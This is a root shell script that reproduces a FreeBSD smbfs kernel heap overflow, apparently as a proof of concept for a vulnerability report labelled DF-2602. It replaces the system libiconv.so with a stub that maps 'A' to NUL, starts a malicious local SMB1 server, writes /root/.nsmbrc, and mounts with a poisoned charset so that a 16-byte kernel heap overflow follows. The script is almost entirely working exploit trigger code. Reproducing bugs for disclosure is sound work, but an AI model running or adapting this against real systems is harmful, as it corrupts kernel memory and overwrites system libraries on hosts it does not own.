#!/bin/sh
# DF-2602 reproduction: demonstrates the heap overflow via byte->NUL truncation.
#
# PREREQUISITES: kldload libiconv; kldload smbfs (as root)
# Must be run as root (mount_smbfs requires root).
set -e
cd "$(dirname "$0")"

PORT=139
MNT=/mnt/s2602

echo "[*] Loading kernel modules..."
kldload libiconv 2>/dev/null || true
kldload smbfs 2>/dev/null || true

echo "[*] Installing stub libiconv.so (maps 'A' -> NUL)..."
cp libiconv.so /usr/lib/libiconv.so

echo "[*] Starting malicious SMB1 server (USER mode, no encrypt) on port $PORT..."
kill $(cat srv.pid 2>/dev/null) 2>/dev/null || true
sleep 1
nohup ./smb_evil_user_dbg $PORT </dev/null >runB.log 2>&1 &
echo $! > srv.pid
sleep 1

echo "[*] Setting password 'AAAAAAAA' in .nsmbrc..."
mkdir -p $MNT
cat > /root/.nsmbrc <<'RCEOF'
[127.0.0.1:G]
password=AAAAAAAA
RCEOF

echo ""
echo "=== Run A: WITHOUT -E (no charset, no truncation) ==="
kill $(cat srv.pid) 2>/dev/null; sleep 1
nohup ./smb_evil_user_dbg $PORT </dev/null >runA.log 2>&1 &
echo $! > srv.pid; sleep 1
mount_smbfs -N -I 127.0.0.1 //g@127.0.0.1/s $MNT </dev/null 2>&1 || true
echo "plen (bytes 47-48) in Run A session-setup request:"
grep "ss-req hex" runA.log | sed 's/.*hex://'
umount $MNT 2>/dev/null || true

echo ""
echo "=== Run B: WITH -E ISO8859-1:POISON (A->NUL truncation -> OVERFLOW) ==="
kill $(cat srv.pid) 2>/dev/null; sleep 1
nohup ./smb_evil_user_dbg $PORT </dev/null >runB.log 2>&1 &
echo $! > srv.pid; sleep 1
mount_smbfs -E ISO8859-1:POISON -I 127.0.0.1 //g@127.0.0.1/s $MNT </dev/null 2>&1 || true
echo "plen (bytes 47-48) in Run B session-setup request:"
grep "ss-req hex" runB.log | sed 's/.*hex://'
umount $MNT 2>/dev/null || true

echo ""
echo "[*] Run A should show plen=08 (password 'AAAAAAAA' present, 41x8 bytes visible)"
echo "[*] Run B should show plen=00 (password truncated to empty by POISON charset)"
echo "[*] plen=00 means ntencpass=kmalloc(2) but smb_strtouni wrote 18 bytes -> 16-byte overflow"

echo ""
echo "[*] Cleanup..."
kill $(cat srv.pid) 2>/dev/null || true
rm -f /usr/lib/libiconv.so /root/.nsmbrc